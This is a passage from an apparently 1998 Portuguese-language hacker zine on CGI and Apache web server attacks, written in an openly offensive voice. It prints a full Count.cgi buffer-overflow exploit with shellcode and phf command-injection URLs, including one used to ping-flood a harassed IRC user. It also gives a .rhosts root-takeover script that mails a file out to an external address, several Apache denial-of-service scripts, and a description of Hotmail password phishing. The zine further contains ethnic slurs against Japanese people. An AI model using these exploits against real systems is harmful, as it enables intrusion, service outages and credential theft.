"$user_data\n"; exit(0); Com este codigo, o programador estipula que caracteres nao devem ser utilizados naquele cgi. E' claro que o programador nao coloca todos os caracteres que nao podem ser usados no cgi, entao ficam alguns caracteres de fora. mas os principais estao infelismente estipulados, por exemplo o simples fato de colocar um / no cgi ja' devera ser impedido pelo servidor. sUx. CERT (c) - 1998. 5.) Test-cgi Este e' bem conhecido, utilizando ele , voce pode cair dentro do /root do servidor sem nenhum problema, apenas executando esta linha de comando: ... - http://www.phuck.org/cgi-bin/test-cgi?/* ... O problema mais uma vez esta na nao marcac'ao de caracteres nao permitidos pelo cgi. A funcao QUERY_STRING, abaixo: echo QUERY_STRING = $QUERY_STRING Nao seleciona, quais caracteres nao podem ser usados no cgi, permitindo que as pessoas utilizem caracteres como *, que como voces devem ( deveriam ), saber /* leva ao diretorio do root, sem problemas... ou entao /~ em alguns linux. Concertar este bug, e' bem facil , utilize o sistema de sanitize acima, ou delete o test-cgi, para que voce precisa dele, afinal? Para saber se' o codigo e' vulneravel ou nao, apenas procure para funcao QUERY_STRING do codigo do script (pico /var/lib/httpd/cgi-bin/test.cgi) procure por uma linha assim: ... QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime ... Ou ... QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var ... Todas estas linahs sao extremamente prejudiciais para o seu servidor, por tanto para que deixar um .cgi com tantos bugs rodando no seu servidor, se o seu proposito de existencia e' meramente inutil ;) ??? 6.) Count.cgi exploit O problema todo , mais uma vez ocorre no buffer overflow do nosso grande e querido amigo QUERY_STRING, voce consegue a shell do dono do processo ( geralmente, daemon,httpd,nobody ), a protecao contra este exploit e' bem simples e' esta resumida no codigo abaixo: > void wrapit(char *envvar,int esize) > { > char *tmp,*tmp2; > tmp=malloc(esize+1); > if(tmp==NULL) > { > Debug2("Can't allocate wrapper memory buffer.",0,0); > exit(1); > } > strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1); > tmp[esize]='\0'; > setenv(envvar,tmp,1); > } > 89c103 < char --- > char 185a200,207 > /* > * Evita os problemas no buffer,nao diexando que qquer string seja dada > * como inpout no cgi. > */ > > wrapit("QUERY_STRING",600); > wrapit("HTTP_REFERER",600); > wrapit("HTTP_USER_AGENT",600); > E para exploitar esta belezinha, apenas compile e rode o programa abaixo: ------------cutcut-------8<----------------------------------------------- /* Count.cgi (wwwcount) linux test exploit (c) 05/1997 by plaguez - dube0866@eurobretagne.fr */ #include #include char shell[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d" "\x5e\x18\x88\x46\x2c\x88\x46\x30" "\x88\x46\x39\x88\x46\x4b\x8d\x56" "\x20\x89\x16\x8d\x56\x2d\x89\x56" "\x04\x8d\x56\x31\x89\x56\x08\x8d" "\x56\x3a\x89\x56\x0c\x8d\x56\x10" "\x89\x46\x10\xb0\x0b\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xbf" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff" "/usr/X11R6/bin/xterm0-ut0-display0" "127.000.000.001:00" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff"; jmp 60 popl %esi xorl %eax,%eax # efface eax movl %esi,%ecx # recupere l'adresse du buffer leal 0x18(%esi),%ebx # recupere l'adresse des chaines movb %al,0x2c(%esi) # cree les chaines azt movb %al,0x30(%esi) # movb %al,0x39(%esi) movb %al,0x4b(%esi) leal 0x20(%esi),%edx # cree le char** movl %edx,(%esi) leal 0x2d(%esi),%edx movl %edx,0x4(%esi) leal 0x31(%esi),%edx movl %edx,0x8(%esi) leal 0x3a(%esi),%edx movl %edx,0xc(%esi) leal 0x10(%esi),%edx movl %eax,0x10(%esi) movb $0xb,%al int $0x80 # passe en mode kernel xorl %ebx,%ebx # termine proprement (exit()) movl %ebx,%eax # si jamais le execve() foire. inc %eax # int $0x80 # call -65 .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .ascii \"/usr/X11R6/bin/xterm0\" # 44 .ascii \"-ut0\" # 48 .ascii \"-display0\" # 57 au ; .ascii \"127.000.000.001:00\" # 75 (total des chaines) .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff ... */ char qs[7000]; char chaine[]="user=a"; unsigned long getesp() { // asm("movl %esp,%eax"); return 0xbfffee38; } void main(int argc, char **argv) { int compt; long stack; stack=getesp(); if(argc>1) stack+=atoi(argv[1]); for(compt=0;compt<4104;compt+=4) { qs[compt+0] = stack & 0x000000ff; qs[compt+1] = (stack & 0x0000ff00) >> 8; qs[compt+2] = (stack & 0x00ff0000) >> 16; qs[compt+3] = (stack & 0xff000000) >> 24; } strcpy(qs,chaine); qs[strlen(chaine)]=0x90; qs[4104]= stack&0x000000ff; qs[4105]=(stack&0x0000ff00)>>8; qs[4106]=(stack&0x00ff0000)>>16; qs[4107]=(stack&0xff000000)>>24; qs[4108]= stack&0x000000ff; qs[4109]=(stack&0x0000ff00)>>8; qs[4110]=(stack&0x00ff0000)>>16; qs[4111]=(stack&0xff000000)>>24; qs[4112]= stack&0x000000ff; qs[4113]=(stack&0x0000ff00)>>8; qs[4114]=(stack&0x00ff0000)>>16; qs[4115]=(stack&0xff000000)>>24; qs[4116]= stack&0x000000ff; qs[4117]=(stack&0x0000ff00)>>8; qs[4118]=(stack&0x00ff0000)>>16; qs[4119]=(stack&0xff000000)>>24; qs[4120]= stack&0x000000ff; qs[4121]=(stack&0x0000ff00)>>8; qs[4122]=(stack&0x00ff0000)>>16; qs[4123]=(stack&0xff000000)>>24; qs[4124]= stack&0x000000ff; qs[4125]=(stack&0x0000ff00)>>8; qs[4126]=(stack&0x00ff0000)>>16; qs[4127]=(stack&0xff000000)>>24; qs[4128]= stack&0x000000ff; qs[4129]=(stack&0x0000ff00)>>8; qs[4130]=(stack&0x00ff0000)>>16; qs[4131]=(stack&0xff000000)>>24; strcpy((char*)&qs[4132],shell); /* Choose what to do here */ printf("GET /cgi-bin/Count.cgi?%s\n\n",qs); /*fprintf(stderr,"\n\nadresse: %x0x\n",stack); printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack); setenv("QUERY_STRING",qs,1); system("/usr/local/etc/httpd/cgi-bin/Count.cgi"); system("/bin/sh");*/ } -------------------------------------8<------------------------- 7.) Server gateway cgi atack Okay, entao a popularidade da seguranca dos japoneses, esta aumentando cada vez mais... Entao voce entra em um servidor japones!!! /server irc.unix-fu.jp , e la' voce encontra uma bando de olhinhos puxados grudados na tela!!! Voce chega e zoa um deles do cara #srekcah este fala, Go fuck yo self, dumbass Sashimi, mucutu , ariri, samana, tumanague... O cara fica , puto entao voce sabendo que a maioria dos servidores japoneses, utilizam o /cgi-bin/phf, entao vamos a festa!!! Provavelmente o jaones ta' te xingando de todos os nomes como kotobuki, yacksoba entre outros, voce puta , da' um whois nele!!! /whois japaneshacker E recebe um response assim: *** japaneshacker is ppp125.unix-fu.jp *** japaneshacker is on #srekcah *** japaneshacker is using irc.unix-fu.jp *** japaneshacker is away: Say honara, harigato!!! *** Notice that i have got some real small eyes. Agora, voce pega o seu browser ARENA de sumo!!! e coloca ele para ir para o seguinte endereco: --- y0:/# arena http://www.unix-fu.jp/cgi-bin/phf?Qname=a%0aping%20-c%201000%20 -s%205000%20ppp125.unix-fu.jp O que voce acabou de fazer? Pense em uma shell que voce digitou isto: root:/#ping -c 1000 -s 5000 ppp125.unix-fu.jp A vitima ira receber 1000 pacotes cada um com 5008 bytes, e se este esta de wind0ws!!! Rodou feio... 8.) Parte II Na SEGUNDA PARTE, EU IREI DESCREVER ALGUNS METODOS DE SEGURANCA E OUTROS METODOS DE COMO CONSTRUIR UM CGI, BUGADO O SUFICIENTE PARA ROOTAR O /BIN/BAISHO DO SISTEMA!!!! CHAU1! ;) The bloodroot - blood@phone9.0rg Exploitacao por meio de CGI - Parte I reg - (c) 1998, productions ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 16 - Apache Web Server bugs ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° The Phone9 Communications Systems, inc. reg - (c) 1998, productions [Disque 9 para morer?] APACHE WEB SERVER hack... by the blood root O servidor apache, e' um dos mais populares servidores de http, do mundo , rodando em servidores unix like, quase todos estes servidores sao powered by apache, inc. Agora, imagina que k0ol voce invadido metade dos servidores do mundo que rodam apache, por um simples bug? Esta tecnica e' uma mesclagem varias outras tecnicas que eu conheci por ai, para que ela funcione sao necessarios, alguns requisitos: ... O servidor deve rodar como user nobody ( a maioria roda ) UID = 65535 | GID = 65535 O servidor deve ser apache server ( nao importa a versao dele ) Voce precisa ter uma conta no sistema!!! ( Metade das pessoas que leem isto, ja' desistem !!! Bunch 0f l0oSerz ) ... A maioria das pessoas familiarizadas com unix, sabem que a maioria dos servidores rodam como user nobody, para que a execucao de bugs via scripts, seja delimitada a somente aos acessos fracos no sistema do user nobody. Como varias aplicacoes rodam sobre a uid de 65535 ( nobody ) como o apache, wn, NCSA entre outros, e' possivel se tornar root, por meio de um browser, em um servidor apache, onde foram feitos os testes, mas eu tenho quase certeza que ele funciona em outros servidores. Bom, entao vamos ao ataque: Nos ja' constatamos que voce que somente poucos usuarios tem acesso ao user nobody, praticamente nenhum , ja' que o password dele e' invalido '*', entao somente o root poderia deshabilitar o '*' do password e se logar como nobody mesmo assim, o login dele e' no /dev/null o que dificulta um pouco o login!! Entao, nos teremos que executar algum programa que como o servidor apache, roda sobre a uid de user nobody. Vejamos, /usr/bin/rpc, lembram-se do phf bug? Entao, se voce puder exploitar um tipo de bug como aquele e executar programas sobre a uid do user nobody no caso, voce conseguiria root em poucos segundos. Entao vamos comecar o ataque, faca isto: shit:/>$ echo "+ +" > /tmp/.rhosts shit:/>$ echo "GET cgi-bin/phf?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhost+ /root/.rhosts" | nc -v - 20 shit.com.br 80 shit:/>$ rsh -l root shit.com.br "/bin/sh -i" Va' no /tmp do servidor e faca isto: %touch .rhosts %echo "+ +" >> /tmp/.rhosts %echo "GET cgi-bin/phf?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhosts+ /root/.rhosts" | nc -v - 20 shit.com.br 80 % rsh -l root shit.com.br 80 #whoami root # Bom, o que voce fez? Primeiro, criou um arquivo .rhosts no seu diretorio /tmp/.rhosts, depois o passou via email para dentro do /root/.rhosts, e em seguida, cria uma conexao confiavel com o host shit.com.br, depois executa o comando rsh , que permite o login sem senha via arquivos .rhosts, e se logou como root no sistema sem problemas!!! ESCLARECENDO: As duas primeiras linhas voce executa como um usuario qualquer.... A 3a. linha, voce executa como nobody ( ou o dono do processo do servidor ), a segunda linha voce executa como um usuario qualquer, e a duas ultimas voce ja' e' root no sistema shit.com.br. Tambem e' bom prestar atencao, que o ataque se origina sobre um exploit phf! Entao, se o servidor nao possuir phf, use o php, se este falhar, use outro, mas o meio de ataque deve ser rodar via browser! Outro modo de exploitar esta falha, e' bem simples: #!/bin/sh #Fazendo a vida mais facil para quem e' uma merda ;) end= #endereco que vai ser atacado!!! exp= #exploite que sera usado para o ataque. touch /tmp/.rhosts echo "+ +" > /tmp/.rhosts lynx http://$end/cgi-bin/$exp?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhost+ /root/.rhosts" | nc -v - 20 shit.com.br 80 rsh -l root $end #Mude o necessario para que tudo fique direito, mude o browser, rsh, por #rlogin... tanto faz.... Mas nao mude o source!!! Agora, faz tudo parte da diversao, execute este comandos e voila!!! Free apache server 4 ever.... O segundo bug: Ja' e' um bug mais sofisticado, que o outro, que depende muito da sorte de se encontrar um exploit via cgi como o phf, que hoje em dia esta em extinsao ( nao no pais dos olhinhos puxados, mas fazer o que, alguem tem que ser o burro na terra, Shimomura???? ) Este faz com que o servidro diminui tanto a sua velocidade de response que fica parecendo um PDP, na internet ( se existisse uma naquela epoca !heheh ;)) Entao vamos ao bug, quando alguma pessoa executa o apache, ele procura dentro do seu diretorio por arquivos do tipo: [index|homepage].[html|htm|shtml|cgi], entao se ele nao acha nenhum documento na sua extensao de diretorios inteira com tais especificacoes, entao ele retorna um erro assim: "File name too long", e o cliente recebe um "access forbidden", entao o que acontece, quando o apache encerra a tentativa de execucao dele, dando um dos erros acima, ele continua tentando achar um destes arquivos repetitiva mente, entao ele consome um bom tempo da CPU time, com um processo desnecessario, o que diminui ou quase aniquila a velocidade do apache! Um patche e' fazer com que qualquer processo no '//.....' possa ter um buffer maior possivel (7kb). Parte da execucao do bug se da por meio de um comando bem simples atribuido ao servidor GET e varias / seguidas de mais / ate' que cheguem ao um tamanho imenso de / o que ira travar o servidor!! O codigo para o ataque esta abaixo, enjoy!!! ---- #!/bin/bash echo echo "BECK -- Apache 1.2.x Denial of Sevices attack" echo "Author: Michal Zalewski" echo if [ "$1" == "" ]; then echo "USAGE: $0 victim_host [childs]" echo echo " victim_host - address of victim running Apache" echo " childs - no. of simultaneeous connections [30]" echo exit 0 fi CONN_LIMIT=30 if [ "$2" != "" ]; then CONN_LIMIT=$2 fi if [ ! -f beck.dat ]; then echo "ERROR: file 'beck.dat' must be placed in current dir." echo exit 0 fi echo "Attacking $1 (via $CONN_LIMIT connections) -- Ctrl+C to abort." echo "Their load average soon will climb higher heights." while [ -f $0 ]; do telnet $1 80 /dev/null & if [ "$CONN_LIMIT" -le "`ps|grep -c telnet`" ]; then echo -n "Connections limit reached - waiting... " while [ "$CONN_LIMIT" -le "`ps|grep -c "telnet $1"`" ]; do sleep 1 done echo "OK" fi done ---- E no .zip da zine, vem o arquivo get.dat lembre-se que estes devem estar no mesmo lugar que script esta /home/sucker/cputimeapache, /home/sucker/get.dat O terceiro bug: Para que este outro ataque DoS , seja feito e' necessario se obter uma conta no sistema ou entao nada de DoS!!! ( Sorry guys! ;) Bom, voce ira consumir um bom CPU time do servidor, voce devera ter uma conta e uma pagina naquele servidor!!! Agora, primeiro voce ira criar 100 subdiretorios, de nome x!! E todos os inputs para o subdir x, serao direcionados para o /dev/null! Entao, voce executara o script abaixo, e este ira executar o comando via telnet para entrar na porta 80 do servidor ( apache ), conectando-se com o limite de conexoes per- mitidas pelo apache, ele executa o arquivo .dat!!! E voila!! E' CPU time fudida para todo o lado!! Depois e' simples rode o scripts, abaixo e pronto, tudo feito.... ----[ Primeiro script ]---- #!/bin/sh echo echo "BECK-2 preprocessor by lcamtuf" echo "This program prepares battlefield..." echo "To undo please use 'cleanup' script." echo # Assume that user's homepage is into /home/httpd/html/USER... TARGET=/home/httpd/html/`whoami` echo -n "Going directly to your www home... " cd $TARGET &>/dev/null if [ "$PWD" != "$TARGET" ]; then echo "ERROR" exit 0 fi echo "OK" SUBDIR=x MAXDIRS=100 CREATED=0 echo -n "Creating $MAXDIRS subdirs... " HOME=$PWD while [ $MAXDIRS -ge $CREATED ]; do OLDDIR=$PWD mkdir $SUBDIR &>/dev/null cd $SUBDIR &>/dev/null if [ "$PWD" = "$OLDDIR" ]; then echo "ERROR" exit 0 fi let CREATED=CREATED+1 done echo "OK" ----[ Primeiro Script ]---- ----[ Segundo script ]---- #!/bin/bash echo echo "BECK 2 -- Apache Denial of Sevices attack (local)" echo "Author: Michal Zalewski" echo if [ "$2" = "" ]; then echo "USAGE: $0 victim_host account" echo echo " victim_host - address of victim running Apache" echo " account - www account on victim machine" echo echo "NOTE: attack will be effective only when" echo "account has been successfully altered with" echo "'make_hell' script." echo exit 0 fi LIMIT=30 if [ ! -f beck2.dat ]; then echo "ERROR: file 'beck2.dat' should be placed in current dir." echo exit 0 fi echo -n "Creating temporary file... " rm -f /tmp/beck2.tmp if [ -f /tmp/beck2.tmp ]; then echo "FAILED" exit 0 fi touch /tmp/beck2.tmp &>/dev/null if [ ! -f /tmp/beck2.tmp ]; then echo "FAILED" exit 0 fi echo "OK" echo -n "GET /$2" >/tmp/beck2.tmp cat beck2.dat >>/tmp/beck2.tmp echo "Attacking $1 (thru account $2, $LIMIT connections) -- Ctrl+Z to abort" echo "Their load average will soon climb higher heights." while [ -f $0 ]; do telnet $1 80 /dev/null & CONNECTED=`ps|grep -c "telnet $1"` if [ "$LIMIT" -le "$CONNECTED" ]; then echo -n "Connections limit reached - waiting... " while [ "$LIMIT" -le "$CONNECTED" ]; do sleep 1 done echo "OK" fi done ----[ Segundo script ]---- ----[ Terceiro script ]---- #!/bin/sh echo echo "BECK-2 cleanup by lcamtuf" echo "This program cleans up battlefield..." echo # Assume that user's homepage is into /home/httpd/html/USER... TARGET=/home/httpd/html/`whoami` echo -n "Going directly to your www home... " cd $TARGET &>/dev/null if [ "$PWD" != "$TARGET" ]; then echo "ERROR" exit 0 fi echo "OK" SUBDIR=x if [ -d $SUBDIR ]; then echo "Removing subdirectory $SUBDIR from ${PWD}." echo else echo "Naaah, nothing to do. Directory $SUBDIR not found." echo exit 0 fi HOME=$PWD echo -n "Going deeper and deeper... " while [ -d $SUBDIR ]; do OLDDIR=$PWD cd $SUBDIR &>/dev/null if [ "$PWD" = "$OLDDIR" ]; then echo "ERROR" exit 0 fi done echo "OK" echo -n "Enough, now removing everything... " while [ "$PWD" != "$HOME" ]; do OLDDIR=$PWD cd .. &>/dev/null rmdir $SUBDIR &>/dev/null if [ "$PWD" = "$OLDDIR" ]; then echo "ERROR" exit 0 fi done echo "OK" ----[ Terceiro script ]---- A ordem de execucao e' esta 1o. , 2o. e 3o. , nao mude-a senao nao funciona como deveria!!! O quarto bug: Este bug, implica sobre a versao mais antiga do apache, 1.1.1 rodando sobre o httpd da mesma versao.... Okay, entao a funcao make_cookie , no arquivo mod_cookies.c, tem um buffer de 100byte para o new-cookie gravar informacoes sobre o users que visitam o site. Este buffer grava informacoes como hostname, entre outros valores.... Ao longo da string apache= um numero!!! Veja o codigo: ... void make_cookie(request_rec *r) { struct timeval tv; char new_cookie[100]; /* blurgh */ char *dot; const char *rname = pstrdup(r->pool, get_remote_host(r->connection, r->per_dir_config,REMOTE_NAME)); struct timezone tz = { 0 , 0 }; if ((dot = strchr(rname,'.'))) *dot='\0'; /* 1o. bit do hostname*/ gettimeofday(&tv, &tz); sprintf(new_cookie,"%s%s%d%ld%d; path=/", COOKIE_NAME, rname, (int)getpid(), (long)tv.tv_sec, (int)tv.tv_usec/1000 ); table_set(r->headers_out,"Set-Cookie",new_cookie); return; } ... Perceba que todos os responses com Upper_case ( CAPSLOCK - fixa ), sao diminuidos ao lower_Case, no get_remote_host(), deixando um meio de buffer overflowzar o servidor!!! Para saber se o seu sistema e' vulneravel ou nao... apenas $ telnet localhost 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET / HTTP/1.0 HTTP/1.0 200 OK Date: Tue, 07 Jan 1997 18:59:31 GMT Server: Apache/1.1.1 Content-type: text/html Set-Cookie: Apache=localhost9185266357164; path=/ Se a versao o servidor for 1.1.1 entao voce e' vulneravel!! ----- O patche da apache, e' tao estupido que nem vou coloca-lo ----- aqui, pois quando eu o instalei na minha maquina, nao ----- segurou o ataque!!!! QUiNTO bug ( e ultimo da lista?!?!?! ) ------ --- - - ------ -- ----------- - Sumario: Vulnerabilidade encontrada nas verdoes 1.3.1 e menores, que permite um crash no servidor apache... O problema e' o tratamento dos headers enviados para eles. Compromentimento: Se nenhuma tecnica high-tech for usada depois do crash do browser, somente algumas diversoes para criancas que nao tem nada melhor para fazer. Obs: O consumo de memoria sob para 380Mb. Falha: Abaixo vai o exploit... ele abre diversas conexoes para TCP com o servidor, enviando os headers iguais. /*- * Copyright (c) 1998 Dag-Erling Coïdan Smørgrav * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer * in this position and unchanged. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software withough specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ /* * Kudos to Mark Huizer who originally suggested this on freebsd-current */ #include #include #include #include #include #include #include #include void usage(void) { fprintf(stderr, "usage: sioux [-a address] [-p port] [-n num]\n"); exit(1); } int main(int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; FILE *f; int o, sd; /* default parameters */ char *addr = "localhost"; int port = 80; int num = 1000; /* get options */ while ((o = getopt(argc, argv, "a:p:n:")) != EOF) switch (o) { case 'a': addr = optarg; break; case 'p': port = atoi(optarg); break; case 'n': num = atoi(optarg); break; default: usage(); } if (argc != optind) usage(); /* connect */ if ((he = gethostbyname(addr)) == NULL) { perror("gethostbyname"); exit(1); } bzero(&sin, sizeof(sin)); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family = he->h_addrtype; sin.sin_port = htons(port); if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); exit(1); } if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("connect"); exit(1); } if ((f = fdopen(sd, "r+")) == NULL) { perror("fdopen"); exit(1); } /* attack! */ fprintf(stderr, "Going down like a plague of locusts on %s\n", addr); fprintf(f, "GET / HTTP/1.1\r\n"); while (num-- && !ferror(f)) fprintf(f, "User-Agent: sioux\r\n"); if (ferror(f)) { perror("fprintf"); exit(1); } fclose(f); exit(0); } Medidas de seguranca: O patch foi liberado pelo Ben Lauren (1.3.1): diff -u -r1.229 http_protocol.c --- http_protocol.c 1998/08/06 17:30:30 1.229 +++ http_protocol.c 1998/08/07 23:02:56 @@ -714,6 +714,7 @@ int len; char *value; char field[MAX_STRING_LEN]; + int nheaders=0; @@ -723,6 +724,11 @@ char *copy = ap_palloc(r->pool, len + 1); memcpy(copy, field, len + 1); + if(++nheaders == 100) { + r->status = HTTP_BAD_REQUEST; + return; + } + if (!(value = strchr(copy, ':'))) { r->status = HTTP_BAD_REQUEST; return; -- Basicamente o bug esta dentro da linha 'memcpy(copy, field, len + 1);' que aloca na memoria. Devido a erros na hora de fazer o apache, a memoria nao e' limpa depois de usada, entao a cada loop a memoria fica cada vez maior. APACHE Web server bug!!!! by the blood root - 24/07/1998 reg - (c) blood@puruca.com.br ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 17 - Teste de vulnerabilidade em contas hotmail ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Hotmail, popular empresa fornecedora de emails gratis na internet, filiada a microsoft, recentemente apresentou falhas de seguranca no seu sistema, permitindo que pessoas possam obter passwords de praticamente todos os usuarios que diariamente se logam no gateway do hotmail. Tecnicamentre por meio de um email promissor, o hacker pode colocar comandos JScript, na mensagem com o fim de mudar os links originais do hotmail na web (hotmail.com???) Assim sera e' necessario que o usuario se logue novamente, e quando ele se logar o link e' redirecionado para uma pagina mirror hacker, que ira guardar as informacoes do login e passwords, digitados. O comprometimento e' total, implicando em abrir totalmente as pernas do hotmail, e' possivel se ler qualquer email da vitima, se logando por meio de um login e password ativo. O hotmail lancou algumas medidas preventivas: - Deshabilite a opcao de Java Script do seu browser - E qualquer erro durante a execucao da pagina do hotmail, nao acesse mais aquele email, crie outra conta... Basicamente o problema e' da hotmail, que nao instala filtros bons o suficientes para pararem qualquer grao de linguagem Java Script nas mensagens enviadas assim a execucao de comandos remotamente por meio de um email durante o gateway do hotmail e' algo tecnicamente e praticamente possivel e implica na total invalidez da seguranca do sistema HOTMAIL de emails gratis... Ao constrario de outros que tentam preservar as suas contas seguramente, nos agora publicamos o codigo tao temido do hotmail, e apenas um conselho seguro, - Coloque uma conta de mail descente... ;) --[ Codigo bugado ]-- "Where do you wanna crash???" - bill gates --[ Codigo bugado ]-- Agora e' so mandar este codigo por email para algum usuario do hotmail, quando este verificar o seu email, babauw... Voce recebera na conta que mandou o email, o IP, login e e' claro o password da anta... bloodroot - blood@deathknights.com Teste de vulnerabilidade em contas hotmail reg - (c) 1998, productions. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 18 - Falhas em extensoes HTML .ASP... ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Sistemas ASP de extensoes HTML para servidores, sao alvos vulneraveis a ataques banais a procura de visualizar o codigo de uma pagina .asp de um servidor 'bugado', este podendo ser alvo de ataques com as informacoes contidas no codigo das paginas... O sistema Active Server Page, e' uma forma de se estruturar paginas como banco de dados e recursos do servidor, sem que seja necessario o conhecer a linguagem de 